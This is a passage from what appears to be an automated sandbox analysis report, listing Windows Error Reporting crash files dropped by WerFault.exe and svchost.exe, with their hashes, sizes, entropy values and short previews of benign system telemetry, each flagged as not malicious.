Encrypted:	false
SSDEEP:	96:TiZYWmozGCqYhDYH6WLHAYEZWqtEiy41NYwLH3QaeYiMMupiIa33:2ZDfqyg/mXQaeYXMupFa33
MD5:	6DA75440D2DFC9F232C802F6B38FC9AB
SHA1:	DD1748BE82540745C6EE2E5456C159CBFED8CE46
SHA-256:	08EAB1AE27DB6318B9C05A1CF9B112E09A1E8EA6098FC7945141ABA56B77681A
SHA-512:	BEBDDBA13EDFEC0A002BCB1ADEA5B21A1FC1D3D5A521242E6B5293C1FE55E98FC0AAE700087F60875516D4673E37291BEF38FE43187E6FB65BB48A2F9652723F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB44.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8598
Entropy (8bit):	3.7013988928739225
Encrypted:	false
SSDEEP:	192:R6l7wVeJss7m6YEf9nMgmfZmAuJJkU2prw89bH5lfftm:R6lXJX7m6YEFMgmfUHJJ3+HLfo
MD5:	FE0C5C4D6EAD21B83D07AC8C5C436E43
SHA1:	4E6FC67F231A654BE161D9239B7A308920A05DF9
SHA-256:	66DFCC741596AE5BDA90ED02CA7F65E67C61ACDE49D99399EB83A69EC3890246
SHA-512:	956EBD8093301F5B1B1B686C60E057A5240783748926228A8A623E0B46C6D3215CB243EE501B0DADA7018AD92F3C9F84CD1E12AC25A67CD1091C61AA1068DC63
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB83.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4796
Entropy (8bit):	4.4784694108107885
Encrypted:	false
SSDEEP:	48:cvIwWl8zsCJg771I9ZOWpW8VYtYm8M4JCyxE6FPyq8v3xEWLKtFZd:uIjfQI76v7VBJC78WyWutFZd
MD5:	E79503B05EB54496A5E3C075908EA19D
SHA1:	28C30E870B43968420AFF77A533F385879BCC4B2
SHA-256:	0E154BF7A60E22FD102E27F1A30F1760D03871EB608ABA9799C22C88F6616B98
SHA-512:	24129300828B165E4A6F659EE307031FBF9A7A9D2A0B41694ED4D02DD9A6B9D21D53601560DCFA5565CAB462690EBF261CD57F362EB592E6F185C4365143A1D3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="313823" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCBB2.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90296
Entropy (8bit):	3.014745004795277
Encrypted:	false
SSDEEP:	1536:gnXFwYbMYLd8TVTuyf7zlhu+4CnYlFCn9L:gnXFwYbMYLd8TVTuyf7zlhu+4kYlFCnp
MD5:	7968B8BE0EB69E9DF28CFCD387BEEA72
SHA1:	B6EF9A318F1A97BB68FAE02F98E91DE4498E3424
SHA-256:	F919BAB3FE1E51230071DE41C907668FEBC8A8E1FD12EDA1DC7931445C3FEB30
SHA-512:	E773E7F88F147C11545A0C604D8261F4C81A81359D9DE0F7B7800E1889E2761E6001F6C7A42C4496FA8E6837453E2CB7D58495C314E61DD3B1142962F4171E74
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCC40.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.684643728019824
Encrypted:	false
SSDEEP:	96:TiZYWjxEssUvBYs3YgWfHYQYEZQ7tEiKK4ONXmwEG9KM1aIY3MEFvIh33:2ZDjx7L5Fr2AaIY3MEFAh33
MD5:	78B7B8A80A4EA5BB48DD77FF795F2E15
SHA1:	169A1763C7BCAE5B460F83F66F4796ABD84C6493
SHA-256:	CC79D505B0399F8AD2EC67085C9608ED198BCD0E916AC33F28346E6635627D13
SHA-512:	2B422ED8B89272C0C1CE012303542FF37161C6C5EF488C4CE52B85B3516D7AEB6DB87E4D8BD3CD522800522E02351802E89FEBF7D41B3BABE7A30E912B6BA777
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD370.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed May 8 07:21:13 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	501361
Entropy (8bit):	3.269953305127442
Encrypted:	false
SSDEEP:	3072:kJBLdORm2V4JgqR7Z/UduqtMnH4KuycS+tluz1CCqscxXFS3+vuFjlCdNR3:kOm2+rRKMnHVXGkrqrxXY3Qv
MD5:	4434E08191CA1BA078A4127FF10877A0
SHA1:	327DC106423AB954855B24E761CBC13E66404E9F
SHA-256:	960DAB624C8533E6B59F37771F188BD7BDC9411B62048932FFAD7D7F5185E9AB
SHA-512:	CB3DBE7BD304EF2DFE9D8B422006DA527C01BF51916E57262365DEADD2750666D4FF34AD567F76FAE08C5ECCD56C7E072BC1B8096D8E1AB7598A92766C179139
Malicious:	false
Preview:	MDMP..a..... ........';f........................p...........$...4%..........X%......tQ..............l.......8...........T............:..il..........lC..........XE..............................................................................eJ.......E......Lw......................T.......D....';f............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD4D9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8592
Entropy (8bit):	3.703937229659879
Encrypted:	false
SSDEEP:	192:R6l7wVeJjlZdC6Y9DQgbgmf4Ad6J0NprZ89ba8xfmem:R6lXJBZdC6Y5Qkgmf44ivayfW
MD5:	299CB989E8C9F2D49803E9578F25C23D
SHA1:	1ECAAD444EF90532BCD333CB7B33F9A5F39ADC16
SHA-256:	52CF8C26E6F15C81376E51EE1034EA145565D57BA3D245D2BC4BAD7AD1F35D30
SHA-512:	6D499953B4DDA260DA9641E589531617555754303883F18DFAB2EBAD8344D029FA77628E522DADFE03E3629F944F413E2A2D83D54C051B74A641E3FB6D2986F8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD538.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4741
Entropy (8bit):	4.487444832963755
Encrypted:	false
SSDEEP:	48:cvIwWl8zsCJg771I9ZOWpW8VY/Ym8M4JCyx2FCyq85LITLKtF3d:uIjfQI76v7VLJC29utF3d
MD5:	A31F25C950A40DA73B655D1834F15E99
SHA1:	CB0391A5C2A427AB245405DA474C15FF4536AC60
SHA-256:	72239715DC07C5216D0D82A3E1BA50197297AE687EF4DC39D4B5BE8815DA57AC
SHA-512:	A42540740F44A9FD3F7C72DE631D95B047629C89EEC85E65D9BCFED73C0AC053CBFFC36AA2C080CFECFF560CAB843CD3A216180CCB0E9D198FB4A58D000F600E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="313823" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD568.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	91570
Entropy (8bit):	3.01343198428794
Encrypted:	false
SSDEEP:	1536:wgBCYbRMGAo82VGkyE7A8JLeDanYlHUI/h:wgBCYbRMGAo82VGkyE7A8JLeD8YlHUIp
MD5:	084467333873DEB3FCD11C7BF5194D3D
SHA1:	D2BAEC26BE38A6442FF2B378A6205C19DA2B52B1
SHA-256:	05031E4EF52954719C9C9920CDA834B626FC4243367706F2C7418B6839B8A2B5
SHA-512:	331545D104136B91F8E29C35378660623C9EF18F8F47C4B67343CB288DCA6ACE305A324DCB01419EF1E7131D7F188A44322A0B0CA2B85A7D17B4F35FA9BC3C3E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD615.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6849015903033657
Encrypted:	false
SSDEEP:	96:TiZYWu3yh8l/mYRYIW/HEYEZndtEiKs4CN2wXRXwa0Y+MfcyIn33:2ZDA1mWV5Ga0Y+MfcVn33
MD5:	6F3BD7DEE8A929AF3D2915463C750BE5
SHA1:	CC574255CDA995AD2C5CFEF8CB6429733DC51E6A
SHA-256:	F4D97863A454C7C3A5B80B2791395560E529DE25711329F070AF395A4E00A9BF
SHA-512:	D72E2A5AC2B24200E47C4E155C6DD64F9E4BD7C76107F20DE076FDF8AF7B59AC7BBB7E9E36C2ADF635E37C39A58DAD10497915B1E3404C10578A55434F81FAE1
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF243.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed May 8 07:21:21 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	505425
Entropy (8bit):	3.2363884830152916
Encrypted:	false
SSDEEP:	3072:dXshDgnMCOBC5GJVlhXsP8FUFfU1QDGlcwAwNM4fXKvtx2bcSiwtH1CCq4s03+vu:dXXMCcC5yhXqVUPJqF03QR6
MD5:	66E79631AE1794EEA671C85324E9AC1D
SHA1:	0DC250E29E5E646C61B6307FB4BE3FF178BB98CF
SHA-256:	2519B1D8A88B127A250BB812FF1CC58563528F3C42F4EBC870C24A603994961D
SHA-512:	D005C1423D67A831C31B3CC86B64A4575AB0BAF94F623FFF94BD64108CAAEE447B7D74E67A978DE290D43B74174F1EC4C2BB63DFF79BF6E488314B690B853F9F
Malicious:	false
Preview:	MDMP..a..... ........';f........................p...........$...4%..........X%.......P..Z...........l.......8...........T............9...\|..........<C..........(E..............................................................................eJ.......E......Lw......................T........ ...';f............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF438.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8786
Entropy (8bit):	3.710135589420279
Encrypted:	false
SSDEEP:	192:R6l7wVeJb5Zd26Y92ukZgmf4Ad6J0NprQ89b/+9fp1m:R6lXJFZd26YMuigmf44iE/kfS
MD5:	ED31B8ED8053D05F8DF5D675990EA24D
SHA1:	C4713D0ED5A82767BDAD3E66EB077EBA9D381F8C
SHA-256:	40789ED5B8CA082ADB43BB28BE2A9707FF70D4145311EC04F04B29F7A7A0A786
SHA-512:	AEB8E2912DF2DED811FF3C34FAA664C9D5BAEA4599E462BF1E4364B364E9F787A5DB540886C4092D239F45A0C9C0B05C0AA83E98A3354C5416ADE9DF0A45BF15
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.3.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF497.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4741
Entropy (8bit):	4.480806070878578
Encrypted:	false
SSDEEP:	48:cvIwWl8zsTJg771I9ZOWpW8VYIpYm8M4JCyx2FBelryq85LI46bLKtFBd:uIjftI76v7VqJCteJfutFBd
MD5:	FFC45F4F6A9AEE4F633DBDE76BAA6D61
SHA1:	DDF44F1CA79BD0FEE1A7BD3782D329192CE97642
SHA-256:	C0F6C3627DA73ED7EB1ED8FBF469354F6F8026CAD76038D370307E6771C19C20
SHA-512:	10313321468278D2BCBD85A18977FF9D8AA5922BB579BE3702FA55503975ED70E747545EDBF50A44B150EC7DCEC94069F47384099E51481E2D055B07134CD33A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="313824" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4CA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89700
Entropy (8bit):	3.0148628562061823
Encrypted:	false
SSDEEP:	768:+Y1YKGncJqommxA0jL8DTVy0enXkyYTgZXIy+DaxKoHnYOiNU:+oXGtommBL8v40enU7Tg5Iy+DqnYOiNU
MD5:	EE551E3886B4C9A459642ADA5BFD7037
SHA1:	2B0B9EE822AD3C84880FF44DDEB53B4413558053
SHA-256:	89A710600FD55C09B6004C370722EABC273F1E77EF6E637BCCEBF043EB9D56A2
SHA-512:	E9221B5870EE04240B60873471D47BB171867EBB474AF0300F0BFDFD1E090A5C61BCCC4B3D75B4CA5202EBE4A3B531D600DD30A79EE3E6C6DA350397D8415AB8
Malicious:	false
